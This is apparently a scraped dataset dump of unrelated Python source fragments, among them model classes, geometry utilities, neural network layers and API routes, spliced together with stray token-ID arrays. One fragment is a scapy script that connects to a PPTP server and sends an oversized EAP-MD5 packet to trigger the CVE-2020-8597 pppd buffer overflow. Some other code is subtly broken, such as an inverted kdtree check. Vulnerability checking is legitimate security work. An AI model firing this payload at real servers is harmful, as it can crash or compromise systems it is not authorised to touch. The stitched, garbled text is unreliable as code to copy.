return self._long_archive_url
@long_archive_url.setter
def long_archive_url(self, long_archive_url):
"""Sets the long_archive_url of this Campaign.
The original link to the campaign's archive version. # noqa: E501
:param long_archive_url: The long_archive_url of this Campaign. # noqa: E501
:type: str
"""
self._long_archive_url = long_archive_url
@property
def status(self):
"""Gets the status of this Campaign. # noqa: E501
The current status of the campaign. # noqa: E501
:return: The status of this Campaign. # noqa: E501
:rtype: str
"""
return self._status
@status.setter
def status(self, status):
"""Sets the status of this Campaign.
The current status of the campaign. # noqa: E501
:param status: The status of this Campaign. # noqa: E501
:type: str
"""
allowed_values = ["save", "paused", "schedule", "sending", "sent", "canceled", "canceling", "archived"] # noqa: E501
if status not in allowed_values:
raise ValueError(
"Invalid value for `status` ({0}), must be one of {1}" # noqa: E501
.format(status, allowed_values)
)
self._status = status
@property
def emails_sent(self):
"""Gets the emails_sent of this Campaign. # noqa: E501
The total number of emails sent for this campaign. # noqa: E501
:return: The emails_sent of this Campaign. # noqa: E501
:rtype: int
"""
return self._emails_sent
@emails_sent.setter
def emails_sent(self, emails_sent):
"""Sets the emails_sent of this Campaign.
The total number of emails sent for this campaign. # noqa: E501
:param emails_sent: The emails_sent of this Campaign. # noqa: E501
:type: int
"""
self._emails_sent = emails_sent
@property
def send_time(self):
"""Gets the send_time of this Campaign. # noqa: E501
The date and time a campaign was sent. # noqa: E501
:return: The send_time of this Campaign. # noqa: E501
:rtype: datetime
"""
return self._send_time
@send_time.setter
def send_time(self, send_time):
"""Sets the send_time of this Campaign.
The date and time a campaign was sent. # noqa: E501
:param send_time: The send_time of this Campaign. # noqa: E501
:type: datetime
"""
self._send_time = send_time
@property
def content_type(self):
"""Gets the content_type of this Campaign. # noqa: E501
How the campaign's content is put together. # noqa: E501
:return: The content_type of this Campaign. # noqa: E501
:rtype: str
"""
return self._content_type
@content_type.setter
def content_type(self, content_type):
"""Sets the content_type of this Campaign.
How the campaign's content is put together. # noqa: E501
:param content_type: The content_type of this Campaign. # noqa: E501
:type: str
"""
allowed_values = ["template", "html", "url", "multichannel"] # noqa: E501
if content_type not in allowed_values:
raise ValueError(
"Invalid value for `content_type` ({0}), must be one of {1}" # noqa: E501
.format(content_type, allowed_values)
)
self._content_type = content_type
@property
def needs_block_refresh(self):
"""Gets the needs_block_refresh of this Campaign. # noqa: E501
Determines if the campaign needs its blocks refreshed by opening the web-based campaign editor. Deprecated and will always return false. # noqa: E501
:return: The needs_block_refresh of this Campaign. # noqa: E501
:rtype: bool
"""
return self._needs_block_refresh
@needs_block_refresh.setter
def needs_block_refresh(self, needs_block_refresh):
"""Sets the needs_block_refresh of this Campaign.
Determines if the campaign needs its blocks refreshed by opening the web-based campaign editor. Deprecated and will always return false. # noqa: E501
:param needs_block_refresh: The needs_block_refresh of this Campaign. # noqa: E501
:type: bool
"""
self._needs_block_refresh = needs_block_refresh
@property
def resendable(self):
"""Gets the resendable of this Campaign. # noqa: E501
Determines if the campaign qualifies to be resent to non-openers. # noqa: E501
:return: The resendable of this Campaign. # noqa: E501
:rtype: bool
"""
return self._resendable
@resendable.setter
def resendable(self, resendable):
"""Sets the resendable of this Campaign.
Determines if the campaign qualifies to be resent to non-openers. # noqa: E501
:param resendable: The resendable of this Campaign. # noqa: E501
:type: bool
"""
self._resendable = resendable
@property
def recipients(self):
"""Gets the recipients of this Campaign. # noqa: E501
:return: The recipients of this Campaign. # noqa: E501
:rtype: List3
"""
return self._recipients
@recipients.setter
def recipients(self, recipients):
"""Sets the recipients of this Campaign.
:param recipients: The recipients of this Campaign. # noqa: E501
:type: List3
"""
self._recipients = recipients
@property
def settings(self):
"""Gets the settings of this Campaign. # noqa: E501
:return: The settings of this Campaign. # noqa: E501
:rtype: CampaignSettings2
"""
return self._settings
@settings.setter
def settings(self, settings):
"""Sets the settings of this Campaign.
:param settings: The settings of this Campaign. # noqa: E501
:type: CampaignSettings2
"""
self._settings = settings
@property
def variate_settings(self):
"""Gets the variate_settings of this Campaign. # noqa: E501
:return: The variate_settings of this Campaign. # noqa: E501
:rtype: ABTestOptions
"""
return self._variate_settings
@variate_settings.setter
def variate_settings(self, variate_settings):
"""Sets the variate_settings of this Campaign.
:param variate_settings: The variate_settings of this Campaign. # noqa: E501
:type: ABTestOptions
"""
self._variate_settings = variate_settings
@property
def tracking(self):
"""Gets the tracking of this Campaign. # noqa: E501
:return: The tracking of this Campaign. # noqa: E501
:rtype: CampaignTrackingOptions1
"""
return self._tracking
@tracking.setter
def tracking(self, tracking):
"""Sets the tracking of this Campaign.
:param tracking: The tracking of this Campaign. # noqa: E501
:type: CampaignTrackingOptions1
"""
self._tracking = tracking
@property
def rss_opts(self):
"""Gets the rss_opts of this Campaign. # noqa: E501
:return: The rss_opts of this Campaign. # noqa: E501
:rtype: RSSOptions
"""
return self._rss_opts
@rss_opts.setter
def rss_opts(self, rss_opts):
"""Sets the rss_opts of this Campaign.
:param rss_opts: The rss_opts of this Campaign. # noqa: E501
:type: RSSOptions
"""
self._rss_opts = rss_opts
@property
def ab_split_opts(self):
"""Gets the ab_split_opts of this Campaign. # noqa: E501
:return: The ab_split_opts of this Campaign. # noqa: E501
:rtype: ABTestingOptions
"""
return self._ab_split_opts
@ab_split_opts.setter
def ab_split_opts(self, ab_split_opts):
"""Sets the ab_split_opts of this Campaign.
:param ab_split_opts: The ab_split_opts of this Campaign. # noqa: E501
:type: ABTestingOptions
"""
self._ab_split_opts = ab_split_opts
@property
def social_card(self):
"""Gets the social_card of this Campaign. # noqa: E501
:return: The social_card of this Campaign. # noqa: E501
:rtype: CampaignSocialCard
"""
return self._social_card
@social_card.setter
def social_card(self, social_card):
"""Sets the social_card of this Campaign.
:param social_card: The social_card of this Campaign. # noqa: E501
:type: CampaignSocialCard
"""
self._social_card = social_card
@property
def report_summary(self):
"""Gets the report_summary of this Campaign. # noqa: E501
:return: The report_summary of this Campaign. # noqa: E501
:rtype: CampaignReportSummary2
"""
return self._report_summary
@report_summary.setter
def report_summary(self, report_summary):
"""Sets the report_summary of this Campaign.
:param report_summary: The report_summary of this Campaign. # noqa: E501
:type: CampaignReportSummary2
"""
self._report_summary = report_summary
@property
def delivery_status(self):
"""Gets the delivery_status of this Campaign. # noqa: E501
:return: The delivery_status of this Campaign. # noqa: E501
:rtype: CampaignDeliveryStatus
"""
return self._delivery_status
@delivery_status.setter
def delivery_status(self, delivery_status):
"""Sets the delivery_status of this Campaign.
:param delivery_status: The delivery_status of this Campaign. # noqa: E501
:type: CampaignDeliveryStatus
"""
self._delivery_status = delivery_status
@property
def links(self):
"""Gets the links of this Campaign. # noqa: E501
A list of link types and descriptions for the API schema documents. # noqa: E501
:return: The links of this Campaign. # noqa: E501
:rtype: list[ResourceLink]
"""
return self._links
@links.setter
def links(self, links):
"""Sets the links of this Campaign.
A list of link types and descriptions for the API schema documents. # noqa: E501
:param links: The links of this Campaign. # noqa: E501
:type: list[ResourceLink]
"""
self._links = links
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(Campaign, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, Campaign):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
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1441,
407,
2116,
6624,
584,
198
] | 2.335248 | 9,748 |
import pytest
import responses
from globus_sdk._testing import load_response_set
@pytest.mark.parametrize(
"filter_val",
[
"mapped_collections",
"mapped-collections",
"MaPpeD-cOLlectiOns",
"guest-collections",
"guest_Collections",
["Mapped-Collections", "Managed_by-me"],
["mapped-collections", "managed-by_me", "created-by-me"],
],
)
| [
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220,
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8,
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] | 2.141361 | 191 |
import numpy as np
def dichotomy(f, a, b, epsilon=1.0e-5):
"""Tradional dichotomy to find a root of a function
"""
fa = f(a)
while True:
c = (a + b) / 2.0
if (b - a) <= epsilon:
return c
fc = f(c)
if fc * fa < 0:
b = c
else:
fa = fc
a = c
def find_n_roots(f, n, deltax, eps=1.0e-10):
"""
Warning! Don't make the deltax = 0.1
"""
currentroot = 0
root = []
gox = 1.0e-5
b = f(gox)
while currentroot < n:
a = b
b = f(gox)
if (a * b) < 0:
root.append(dichotomy(f, gox - deltax, gox, epsilon=eps))
currentroot = currentroot + 1
gox = gox + deltax
return root
| [
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628,
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] | 1.761021 | 431 |
from pathlib import Path
from typing import Dict
import numpy as np
import json
import uuid
class Dataset:
"""
Class used to load datasets as published in
del Sagrado, José del Águila, Isabel M. Orellana, Francisco J.
Multi-objective ant colony optimization for requirements selection.
Empirical Software Engineering. Vol. 20(3). 2015.
"""
def __init__(self, dataset: str = "test", source_file: str = None, source_dict: Dict = None):
"""Loads dataset vectors depending on the dataset name.
"""
if source_file:
with open(source_file) as json_file:
# use filename as dataset id
self.id = Path(source_file).stem
json_data = json.load(json_file)
self.load_from_dict(json_data)
elif source_dict:
self.id = uuid.uuid4().hex
self.load_from_dict(source_dict)
else: # if not source file->search dataset json in datasets folder
self.id = dataset
with open("datasets/"+dataset+".json") as json_file:
json_data = json.load(json_file)
self.load_from_dict(json_data)
# normalize values calculating scaled satisfactions, costs and scores
self.normalize()
# simplify dependencies:
if self.dependencies is not None:
self.list_of_sons = self.dependencies.copy() # needed in feda_algorithm.py
self.calculate_dependencies()
def calculate_dependencies(self) -> None:
"""Given the list of dependencies, recursively stores dependencies of requirements,
saving in each requirements index all the requirements that have to be included to satisfy the dependency restrictions.
"""
self.new_dependencies = {}
# dependency = index_dependency+1 (starts from 1)
for dep in range(len(self.dependencies)):
if self.dependencies[dep] is not None:
# if req has dependencies -> add them and launch aux fun
for dep2 in self.dependencies[dep]:
self.new_dependencies.setdefault(dep, []).append(dep2)
self.aux_dependencies(dep, dep2)
# store new dependencies non repeatedly:
self.dependencies = np.empty(len(self.dependencies), dtype=object)
for i in range(len(self.dependencies)):
if i not in self.new_dependencies:
self.dependencies[i] = None
else:
self.dependencies[i] = list(
dict.fromkeys(self.new_dependencies[i]))
def normalize(self) -> None:
"""Given the costs, importances and priorities, this method calculates the total satisfaction and score, and scales cost and
satisfaction using min-max normalization
"""
num_pbis = len(self.pbis_cost)
self.pbis_satisfaction = self.stakeholders_importances.dot(
self.stakeholders_pbis_priorities)
# now two escalation follows, based on
# https://en.wikipedia.org/wiki/Feature_scaling#Rescaling_(min-max_normalization)
# scale pbis cost in range [0-1]
margin = 1 / num_pbis # used to avoid zeros
diff = np.sum(self.pbis_cost) - np.min(self.pbis_cost)
self.pbis_cost_scaled = (self.pbis_cost - np.min(self.pbis_cost) +
margin) / (diff + margin)
# scale pbis satisfaction in range[0-1]
diff = np.sum(self.pbis_satisfaction) - np.min(self.pbis_satisfaction)
self.pbis_satisfaction_scaled = (
self.pbis_satisfaction - np.min(self.pbis_satisfaction) + margin) / (diff + margin)
# each pbi score is computed from the scaled versions of pbi satisfaction and cost
self.pbis_score = self.pbis_satisfaction_scaled / self.pbis_cost_scaled
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2116,
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271,
62,
15805,
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3021,
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] | 2.360686 | 1,633 |
from exercices.solutions.framework.core.base import BasePage
from exercices.solutions.framework.pages.newUserPage import newUserPage
| [
6738,
4208,
1063,
13,
82,
14191,
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] | 3.75 | 36 |
# from .post_process import detector_postprocess | [
2,
422,
764,
7353,
62,
14681,
1330,
31029,
62,
7353,
14681
] | 4.363636 | 11 |
import os
from pathlib import Path
| [
11748,
28686,
198,
6738,
3108,
8019,
1330,
10644,
198
] | 3.888889 | 9 |
import torch
import torch.nn as nn
import torch.nn.functional as F
import utils_functional
'''
Custom layers for SC
'''
class Conv2d_Add_Partial(nn.Conv2d):
'''
SC Conv2d using partial binary add
'''
def forward(self, input, prec=7, err=7, forward='1d_bin', generator='lfsr', z_unit=8, legacy=False, load_unit=8, load_wait_w=2, load_wait_a=2):
'''
Arguments:
prec: weight and activation precision to quantize to
err: stream length in the form of 2**err
forward: sc compute. Specifically how accumulation is done
generator: stream generator
z_unit: number of input channles to sum using OR accumulation when forward==yz_bin
legacy: disable accelerated kernels
load_unit: number of bits to load each time for progressive loading
load_wait_w: number of cycles to wait between loading weights for progressive loading
load_wait_a: number of cycles to wait between loading activations for progressive loading
'''
input.data = utils_functional.quantize(input.data, prec=prec)
self.weight.data = utils_functional.quantize(self.weight_org, prec=prec)
out = utils_functional.conv2d_generic(input, self.weight, bit_length=2**err, padding=self.padding, stride=self.stride, forward=forward, generator=generator, legacy=legacy, z_unit=z_unit, load_unit=load_unit, load_wait_w=load_wait_w, load_wait_a=load_wait_a)
return out
class BatchNorm2d_fixed(nn.BatchNorm2d):
'''
Quantized 2d batchnorm
'''
class BatchNorm1d_fixed(nn.BatchNorm1d):
'''
Quantized 1d batchnorm
''' | [
11748,
28034,
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16972,
1143,
352,
67,
15458,
27237,
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220,
220,
220,
705,
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] | 2.630225 | 622 |
from fastapi import FastAPI, Path, status
from pydantic import BaseModel
from fastapi.responses import JSONResponse
from starlette.status import (
HTTP_200_OK,
HTTP_404_NOT_FOUND,
HTTP_409_CONFLICT
)
from database import CoralDatabase, get_coral_by_catalog_number_db, \
get_coral_by_category_db, add_coral_to_db, update_coral_db, delete_coral_db
from api_utils import api_reply
app = FastAPI()
db = CoralDatabase()
@app.get("/")
@app.get("/coral/{catalog_number}")
@app.get("/coral-category/{coral_category}")
@app.post("/new-coral/{catalog_number}")
@app.put("/update-coral/{catalog_number}")
@app.delete("/delete-coral/{catalog_number}")
| [
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] | 2.569231 | 260 |
"""Global configuration used across all subsystems."""
import os
__version__ = os.getenv("PKG_VERSION", "0.0.0")
epilog = "‹/› with ♥ from South Dakota © 2018 Jake Brinkmann"
| [
37811,
22289,
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973,
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] | 2.825397 | 63 |
"""
InfluxDB Query Object.
"""
import functools
from influxalchemy import meta
class InfluxDBQuery:
"""
InfluxDB Query object.
entities (tuple): Query entities
client (InfluxAlchemy): InfluxAlchemy instance
expressions (tuple): Query filters
groupby (str): GROUP BY string
limit (int): LIMIT int
"""
def execute(self):
"""
Execute query.
"""
return self._client.bind.query(str(self))
def filter(self, *expressions):
"""
Filter query.
"""
expressions = self._expressions + expressions
return InfluxDBQuery(self._entities, self._client,
expressions=expressions)
def filter_by(self, **kwargs):
"""
Filter query by tag value.
"""
expressions = self._expressions
for key, val in sorted(kwargs.items()):
expressions += (meta.TagExp.equals(key, val),)
return InfluxDBQuery(self._entities, self._client,
expressions=expressions)
def group_by(self, groupby):
"""
Group query.
"""
return InfluxDBQuery(
self._entities, self._client, self._expressions, groupby)
def limit(self, limit):
"""
Limit query
"""
assert isinstance(limit, int)
return InfluxDBQuery(
self._entities, self._client, self._expressions, self._groupby,
limit)
@property
def measurement(self):
"""
Query measurement.
"""
measurements = set(x.measurement for x in self._entities)
return functools.reduce(lambda x, y: x | y, measurements)
@property
def _select(self):
"""
SELECT statement.
"""
selects = []
for ent in self._entities:
# Entity is a Tag
if isinstance(ent, meta.Tag):
selects.append(str(ent))
# Entity is a Measurement
else:
try:
for tag in self._client.tags(ent):
selects.append(tag)
for field in self._client.fields(ent):
selects.append(field)
# pylint: disable=broad-except
except Exception:
pass
return selects or ["*"]
@property
def _from(self):
"""
FROM statement.
"""
return str(self.measurement)
@property
def _where(self):
"""
WHERE statement.
"""
for exp in self._expressions:
yield "(%s)" % exp
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] | 2.026139 | 1,339 |
import numpy as np
from scipy import interpolate
import ezdxf
import h5py
from copy import copy
from Roadways import *
def NormalVectorToLineSegment(linepts, pt):
"""
linepts = np.array([[x1,x2],[y1,y2]])
pt.shape = (2,N) # can be single pt or multiple pts
"""
if pt.ndim == 1:
pt = np.expand_dims(pt,1)
base_pt = np.expand_dims(linepts[:,0],1)
base_vec = np.expand_dims(linepts[:,1] - linepts[:,0],1)
base_vec = base_vec / np.linalg.norm(base_vec)
diff_vec = pt - base_pt
normal = diff_vec - base_vec * base_vec.T.dot(diff_vec)
return normal
def NormalDisplacementFromLineSegment(linepts, pt):
"""
returns a positive or negative distance for each query point
"""
base_pt = np.expand_dims(linepts[:,0],1)
base_vec = np.expand_dims(linepts[:,1] - linepts[:,0],1)
base_vec = base_vec / np.linalg.norm(base_vec)
diff_vec = pt - base_pt
sign = np.sign(np.cross(diff_vec.T,base_vec.T))
dist = np.sqrt(np.sum((diff_vec - base_vec * base_vec.T.dot(diff_vec))**2,axis=0))
return sign * dist
def SplitLineRecursive(linepts,i,j,THRESHOLD=5.0,ds_min=50.0):
"""
Choose best point at which to split a line to minimize total reprojection error
"""
max_err = np.max(ProjectionError(np.stack((linepts[:,i],linepts[:,j])).T, linepts[:,i:j]))
if max_err < THRESHOLD:
ds = np.cumsum(np.sqrt(np.sum(np.diff(linepts[:,i:j])**2,axis=0)))
if ds[-1] > ds_min:
k = i + np.argmin((ds - ds[-1]/2.)**2) + 1
return k
else:
return j
errors1 = np.zeros(j-(i+1))
errors2 = np.zeros(j-(i+1))
max_errors1 = np.zeros(j-(i+1))
max_errors2 = np.zeros(j-(i+1))
for k in range(i+1,j):
l1 = np.stack((linepts[:,i],linepts[:,k])).T
l2 = np.stack((linepts[:,k],linepts[:,j])).T
errors1[k-i-1] = np.sum(ProjectionError(l1, linepts[:,i+1:k])) / (k-i)
errors2[k-i-1] = np.sum(ProjectionError(l2, linepts[:,k+1:j])) / (j-k)
max_errors1[k-i-1] = np.max(ProjectionError(l1, linepts[:,i:k]))
max_errors2[k-i-1] = np.max(ProjectionError(l2, linepts[:,k:j]))
k = i+1 + np.argmin(errors1 + errors2)
# max_err1 = np.max(max_errors1)
# max_err2 = np.max(max_errors2)
return k
def FindBestLinearSplit(pts,i,j,THRESHOLD=1.0):
"""
Not working yet...
"""
max_err = np.max(ProjectionError(np.stack((pts[:,i],pts[:,j])).T, pts))
if max_err < THRESHOLD:
return j
errors1 = np.zeros(j-(i+1))
errors2 = np.zeros(j-(i+1))
max_errors1 = np.zeros(j-(i+1))
max_errors2 = np.zeros(j-(i+1))
for k in range(i+1,j):
X1 = np.stack([pts[0,i:k],np.ones(k-i)]).T
X2 = np.stack([pts[0,k:j],np.ones(j-k)]).T
X = np.block([[X1,np.zeros_like(X1)],[np.zeros_like(X2),X2]])
Y = pts[1,i:j]
params = np.linalg.inv(X.T.dot(X)).dot(X.T).dot(Y)
Yhat = X.dot(params)
l1 = np.stack([
[pts[0,i],Yhat[i]],
[pts[0,k],Yhat[k]]
]).T
l2 = np.stack([
[pts[0,k],Yhat[k]],
[pts[0,j-1],Yhat[j-1]]
]).T
errors1[k-i-1] = np.sum(ProjectionError(l1, pts[:,i+1:k])) / (k-i)
errors2[k-i-1] = np.sum(ProjectionError(l2, pts[:,k+1:j])) / (j-k)
max_errors1[k-i-1] = np.max(ProjectionError(l1, pts[:,i:k]))
max_errors2[k-i-1] = np.max(ProjectionError(l2, pts[:,k:j]))
k = i+1 + np.argmin(errors1 + errors2)
max_err1 = np.max(max_errors1)
max_err2 = np.max(max_errors2)
return params, k
def ComputeSplitIndices(curve,THRESHOLD=1.0,ds_min=50.0):
"""
Downsample a curve by greedy splitting until below reprojection error threshold
"""
explored = set()
frontier = set()
frontier.add((0,curve.pts.shape[1]-1))
while len(frontier) != 0:
i,j = frontier.pop()
if j - i <= 1:
explored.add((i,j))
else:
k = SplitLineRecursive(curve.pts,i,j,THRESHOLD=THRESHOLD,ds_min=ds_min)
if k != j and i != j-1:
frontier.add((i,k))
frontier.add((k,j))
else:
explored.add((i,j))
idxs = sorted(list(set([i for idxs in explored for i in idxs])))
return idxs
def UpSampleSplineCurve(curve, MAX_SEGMENT_LENGTH=5.0):
"""
Upsample
"""
unew = np.linspace(curve.u[0],curve.u[-1],100)
out = interpolate.splev(unew,curve.tck)
splineX = out[0]; splineY = out[1];
dS = np.sqrt(np.diff(splineX)**2 + np.diff(splineY)**2)
S = sum(dS)
u_dense = np.linspace(curve.u[0], curve.u[-1], int(np.round(S / MAX_SEGMENT_LENGTH)))
# compute new dense spline
out = interpolate.splev(u_dense,curve.tck)
new_pts = np.stack(out)
return SplineCurve(id=curve.id,keys=curve.keys,
pts=new_pts,tck=curve.tck,u=u_dense)
def DownsampleSplineCurve(curve,THRESHOLD=1.0,ds_min=50.0):
"""
Downsample a curve by greedy splitting until below reprojection error threshold
"""
idxs = ComputeSplitIndices(curve,THRESHOLD=THRESHOLD,ds_min=ds_min)
new_pts = np.stack([curve.pts[:,i] for i in idxs]).T
return SplineCurve(id=curve.id,keys=curve.keys,
pts=new_pts,tck=curve.tck,u=curve.u[idxs])
def SplitSplineCurve(open_map, spline_curve_id, idx, ratio):
"""
splits a spline curve and returns the new ids
"""
spline_curve = open_map.spline_curves[spline_curve_id]
split_pt = ratio*spline_curve.pts[:,idx+1] + (1.-ratio)*spline_curve.pts[:,idx] # linear interpolation
split_u = ratio*spline_curve.u[idx+1] + (1.-ratio)*spline_curve.u[idx]
new_spline_curve = SplineCurve(
id=len(open_map.spline_curves)+1,
pts=np.block([np.expand_dims(split_pt,1), spline_curve.pts[:,idx+1:]]),
keys=spline_curve.keys,
tck=spline_curve.tck.copy(),
u=np.block([split_u, spline_curve.u[idx+1:]])
)
spline_curve.u = np.block([spline_curve.u[:idx+1], split_u])
spline_curve.pts = np.block([spline_curve.pts[:,:idx+1],np.expand_dims(split_pt,1)])
# open_map.spline_curves[spline_curve_id] = spline_curve
open_map.spline_curves[new_spline_curve.id] = new_spline_curve
return spline_curve.id, new_spline_curve.id
def SplitCurve(open_map, curve_id, idx, ratio):
"""
splits a curve and returns the new ids
"""
curve = open_map.curves[curve_id]
split_pt = curve.pts[idx+1]*ratio + curve.pts[idx]*(1.-ratio)
old_pts = curve.pts[:idx+1]
old_pts.append(copy(split_pt))
new_pts = curve.pts[idx+1:]
new_pts.insert(0,copy(split_pt))
curve.pts = old_pts
new_curve = Curve(id=len(open_map.curves)+1, pts=new_pts)
open_map.curves[new_curve.id] = new_curve
# open_map.curves[curve.id] = curve
return curve.id, new_curve.id
def ProjectToPolyLine(polyline,pt,kdtree=None):
"""
projects a point to a polyline
"""
# First find the closest point on the curve
if kdtree is not None:
idx = np.argmin(np.sum((polyline.pts.T - pt)**2,axis=1))
else:
dist, idx = kdtree.query(pt)
# determine the interval in which the point lies
if idx == 0:
idx1 = idx
idx2 = idx + 1
elif idx == polyline.pts.shape[-1] - 1:
idx2 = idx
idx1 = idx - 1
else:
base_pt = polyline.pts[:,idx-1]
base_vec = polyline.pts[:,idx] - base_pt
vec = pt - base_pt
ratio = np.dot(vec,base_vec) / np.dot(base_vec,base_vec)
if ratio > 0.0:
if ratio < 1.0:
idx1 = idx - 1
idx2 = idx
else:
idx1 = idx
idx2 = idx + 1
else:
idx1 = idx - 1
idx2 = idx
base_pt = polyline.pts[:,idx1]
base_vec = polyline.pts[:,idx2] - base_pt
vec = pt - base_pt
ratio = np.dot(vec,base_vec) / np.dot(base_vec,base_vec)
sign = -np.sign(np.cross(vec.T,base_vec.T))
normal = sign*np.linalg.norm(vec - base_vec * ratio)
return idx1, ratio, normal
def ProjectToCurve(curve,pt,kdtree=None):
"""
projects a point to a curve (i.e. an array of curve pts)
"""
# First find the closest point on the curve
# import pdb; pdb.set_trace()
if kdtree is not None:
dist, idx = kdtree.query(np.array([pt.x, pt.y]))
else:
dists = np.array([(p.x - pt.x)**2 + (p.y - pt.y)**2 for p in curve.pts])
idx = np.argmin(dists)
dist = dists[idx]
# determine the interval in which the point lies
if idx == 0:
idx1 = idx
idx2 = idx + 1
elif idx == len(curve.pts) - 1:
idx2 = idx
idx1 = idx - 1
else:
# Choose interval based on heading of curve point
if np.dot(np.array([np.cos(curve.pts[idx].theta), np.sin(curve.pts[idx].theta)]),
CurvePtToVector(pt)[:2] - CurvePtToVector(curve.pts[idx])[:2]) < 0:
idx2 = idx
idx1 = idx - 1
else:
idx1 = idx
idx2 = idx + 1
# Compute the curve index
base_vec = CurvePtToVector(curve.pts[idx2] - curve.pts[idx1])[:2]
vec = CurvePtToVector(pt - curve.pts[idx1])[:2]
ratio = np.dot(vec,base_vec) / np.dot(base_vec,base_vec)
sign = -np.sign(np.cross(vec.T,base_vec.T))
normal = sign*np.linalg.norm(vec - base_vec * ratio)
return idx1, ratio, normal
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220,
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26,
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11,
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13,
88,
60,
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220,
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220,
220,
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1441,
4686,
87,
16,
11,
8064,
11,
3487,
198
] | 1.91624 | 4,883 |
values = [6, 5, 3, 1, 8, 7, 2, 4]
print (values)
values = selection_sort(values)
| [
198,
27160,
796,
685,
21,
11,
642,
11,
513,
11,
352,
11,
807,
11,
767,
11,
362,
11,
604,
60,
198,
4798,
357,
27160,
8,
198,
27160,
796,
6356,
62,
30619,
7,
27160,
8,
198
] | 2.342857 | 35 |
#!/usr/bin/python3
from scapy.all import *
import socket
import sys
import signal
import os
conf_ack_received = False
conf_ack_sent = False
debug = False
if os.environ.get("DEBUG"):
debug = True
if len(sys.argv) < 2:
print("Usage %s PPTP_Server to test for CVE-2020-8597" %(sys.argv[0]));
sys.exit(0)
dst = sys.argv[1]
#default pptp port
dport = 1723
print("Initiating communications with PPTP server %s " %(dst))
signal.signal(signal.SIGALRM, handler)
#6 seconds for first TCP response
signal.alarm(6)
#TCP communications
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((dst, dport))
cstream = StreamSocket(client)
# initialize PPTP session
call_id = random.randint(1000,10000)
vr=PPTPStartControlConnectionRequest(vendor_string="cananian")
#This is due to a bug in PPTPStartControlConnectionRequest in scapy where version and
#revision is not properly parsed
vr.protocol_version=256
cstream.sr1(vr,verbose=debug)
call_reply = cstream.sr1(PPTPOutgoingCallRequest(call_id=call_id),verbose=debug)
call_reply = PPTPOutgoingCallReply(call_reply)
signal.alarm(0)
#Another 6 seconds to do GRE connection
signal.alarm(6)
# GRE communications
gre_socket = socket.socket(socket.AF_INET,socket.SOCK_RAW, socket.IPPROTO_GRE)
gre_socket.connect((dst,dport))
gre_stream = SimpleSocket(gre_socket)
#send configuration request
server_conf_request = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id)/
HDLC()/PPP()/
PPP_LCP_Configure(id=0x1,options=[
PPP_LCP_Magic_Number_Option(magic_number=0xaabbccdd) ]),verbose=debug)
server_conf_request = IP(server_conf_request)
signal.alarm(0)
# give 9 seconds for configure ack to complete
signal.alarm(9)
tries = 0
try:
while conf_ack_received == False or tries < 9:
sniff(iface="eth0",prn=pkt_callback,count=1,filter='proto gre and src host '+sys.argv[1],store=0)
tries = tries + 1
except:
if debug:
print("Never could recevie a configureation ack from peer due to Timeout")
tries = 9
if conf_ack_received == False and tries > 8:
print("Remote system %s did not provide Configure-Acknowledgement - giving up" %(sys.argv[1]))
print("Server %s is in UNKNOWN state" %(sys.argv[1]))
sys.exit(0)
signal.alarm(0)
print("Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow")
bad_pkt=GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/PPP(proto=0xc227)/EAP_MD5(code=1,value_size=16,value='A'*16, optional_name='A'*1100)
gre_stream.send(bad_pkt)
#Look to see if we receive EAP_Nak that means buffer overflow did NOT succeed
signal.alarm(3)
try:
sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
except:
print("Server %s is likely vulnerable, did not return anything after EAP packet " % (sys.argv[1]))
sys.exit(0)
print("Server %s is likely NOT vulnerable to buffer overflow" % (sys.argv[1]))
signal.alarm(0)
print("Verifying peer %s one more time using a Echo request to the peer " % (sys.argv[1]))
signal.alarm(3)
#echo request to test if PPP interface is still alive - that means we didnt crash the remote
#pptp server with the bad payload
gre_stream.send(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+2)/
HDLC()/PPP()/
PPP_LCP_Configure(code=0x9,id=4))
try:
PPP_Alive = sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
except:
print("Did not received PPP Echo Reply, check the logs on the server to verify status")
sys.exit(0)
print("Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable")
sys.exit(0)
| [
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13,
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7,
15,
8,
628
] | 2.504442 | 1,576 |
#import speech_recognition as sr
import wave
import io
import io, os
from google.auth import environment_vars
from google.cloud import speech | [
2,
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] | 3.916667 | 36 |
# Generated by Django 3.2.9 on 2021-12-08 10:41
import datetime
from django.db import migrations, models
| [
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] | 2.972222 | 36 |
# Copyright (c) 2019 Microsoft Corporation
# Distributed under the MIT software license
# TODO: Test EBMUtils
from sklearn.utils.extmath import softmax
import numpy as np
import logging
log = logging.getLogger(__name__)
# TODO: Clean up
| [
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] | 3.315068 | 73 |
from .base import BaseBackend
from .github import GitHubIssueBackend, GitHubPullRequestBackend
__all__ = [
'BaseBackend',
'GitHubIssueBackend',
'GitHubPullRequestBackend',
]
| [
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import os
import signal
import unittest
from mysos.common.cluster import ClusterManager
from mysos.common.testing import Fake
from mysos.executor.noop_installer import NoopPackageInstaller
from mysos.executor.mysos_task_runner import MysosTaskRunner
from mysos.executor.task_runner import TaskError
from mysos.executor.testing.fake import FakeTaskControl
from kazoo.handlers.threading import SequentialThreadingHandler
import pytest
from twitter.common.concurrent import deadline
from twitter.common.quantity import Amount, Time
